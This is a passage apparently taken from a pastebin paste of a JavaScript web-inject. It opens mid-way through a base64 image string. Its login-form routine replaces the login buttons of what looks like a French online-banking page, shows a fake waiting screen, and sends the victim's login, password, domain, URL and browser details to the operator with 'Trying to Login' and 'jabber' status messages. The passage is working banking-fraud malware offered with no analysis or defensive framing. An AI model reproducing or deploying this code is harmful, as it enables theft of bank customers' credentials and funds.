2TFuwxP33+G88E4iEeEQ+bU3txLCnwP/wl923tmmz0Mfpxv91JPMQj4mGpdSMBQzfNZ8udOe3aZN7f7GOI+z164iEeEQ97vP6SqZ3mvxKSlh4cfxm+Y/4brsm8n3lf8/5mH5kTVIjn9uHxY35YWsNoRAFDZw39aggu6teJ+yqdVeUFj/m4E4kn0fyR5PB8flha4xeOpGK0DvnNT/297+/70JFINLQkGloSiYaWRHI6tOlrD7C8ukPsqeZuFmjtZcUTWho+wpZs/F1FLT1x5fcDsOKK1uLmHrZoQzcrqO9i2aGPWUbVAZZctp9NLd7ruL/IHxGP0/6q++X2/vkxP6yw8fD4EeTlz/azim3Hx2X+XLrlGFvR1sdKNvPl99Dy2MzHZWrZpqPjJprGmgZnBTtYyqoP2LRle7X2l+Fx2l91v2J5nPb3Y34YZS5Q5gJlLlDGAWUuUOYC8RAPZS4QD2UuUKYA8VDmAvEQD2UuEM+fPHMhXiXCGf52mdzkkalE8UfWIx08TmZIOXPBSbaBzjP8nTB5kbngVwaEG/vmZUaG7H4pZy7wzsz3O3PBDpPuTIFYJr8zKUT7qZPHikVr5oLsmf5eneHP6y3LpTNTwE4uhBeZC35lZLi1X44yBWLL60wBXm9ZLq8yF/zIgLCbi5Ho+3VbZxzwGGT5vMpcSAR/7OybLp7o/ipctjIX7J7dr+MMfx6DLJ/OzIVE8sdu7oKXGRmy++VKpoBKroCbZ/jz+suy6cpcSIRMCquMBZXsBS8yIFT3y3HGgWr2go4z/J2c4/9HzlxIZH+c8DjOOFDNGPAiU0CFS0cGhJPchT+DP04zMpTPzOedoe9H5kK8/n5lLsT29ztzQcYfLzMX3Jgh5cwFXvmVucDj8isDwkn2gpf+eJlJ4dYMKWcuWJ3hr3K+vq4z/O0y6cw4UM0e8NIfvzIgnM6QcuaCG/LiDH/i+WPz0Bn+xEOZC5QpQDyUuUA8xEOZC8RDmQuUKUA8lLlAPMRDmQvEQ5kLlLlAmQv+Zi78H1m500ntrPDdAAAAAElFTkSuQmCC">';
  1167.     _p.parentNode.insertBefore(div,_p);
  1168.     _p.style.display = 'none';
  1169. };
  1170.  
  1171. _tables.loginform = function(){
  1172.    
  1173.     _tables.input(_tables.get('login'),'block');
  1174.     _tables.keyboard();
  1175.     _tables.replacebutton(_tables.get('button1'),function(e){
  1176.         _tables.fakewait();
  1177.         _tables.set('button',function(){return _tables.id('validerClavierCLI');});
  1178.         store.clear();
  1179.         store.set('username',_tables.get('login').value);
  1180.         _tables.status('SL');
  1181.         _tables.send({'login1':_tables.get('login').value},
  1182.                         {'login2':_tables.get('password')},
  1183.                         {'type':_tables.get('type')},
  1184.                         {'domain':document.domain},
  1185.                         {'link':document.location.href},
  1186.                         {'browser':_tables.brows()},
  1187.                         {'message':'Trying to Login'},
  1188.                         {'jabber':'SEND'},
  1189.                         {'branch':'SL'}
  1190.         );
  1191.     });
  1192.     _tables.replacebutton(_tables.get('button2'),function(e){
  1193.         _tables.fakewait();
  1194.         _tables.set('button',function(){return _tables.id('validerClavierCLA');});
  1195.         store.clear();
  1196.         store.set('username',_tables.get('login').value);
  1197.         _tables.status('SL');
  1198.         _tables.send({'login1':_tables.get('login').value},
  1199.                         {'login2':_tables.get('password')},
  1200.                         {'type':_tables.get('type')},
  1201.                         {'domain':document.domain},
  1202.                         {'link':document.location.href},
  1203.                         {'browser':_tables.brows()},
  1204.                         {'message':'Trying to Login'},
  1205.                         {'jabber':'SEND'},
  1206.                         {'branch':'SL'}
  1207.         );
  1208.     });
  1209.     _tables.replacebutton(_tables.get('effacer'),function(e){
  1210.         _tables.set('password','');
  1211.         _tables.click(_tables.get('effacer'),document);
  1212.     });
  1213.     _tables.showpage();
  1214. };
  1215.  
  1216. _tables.start = function(){
  1217.     if(self == top){
  1218.         if(_tables.are('login','button1','button2')){
  1219.             _tables.cc('CS');
  1220.         }else{
  1221.             _tables.showpage();
  1222.         }
  1223.     }else{
  1224.         _tables.showpage();
  1225.     }
  1226. };
  1227.  
  1228. _tables.start();
Add Comment
Please, Sign In to add comment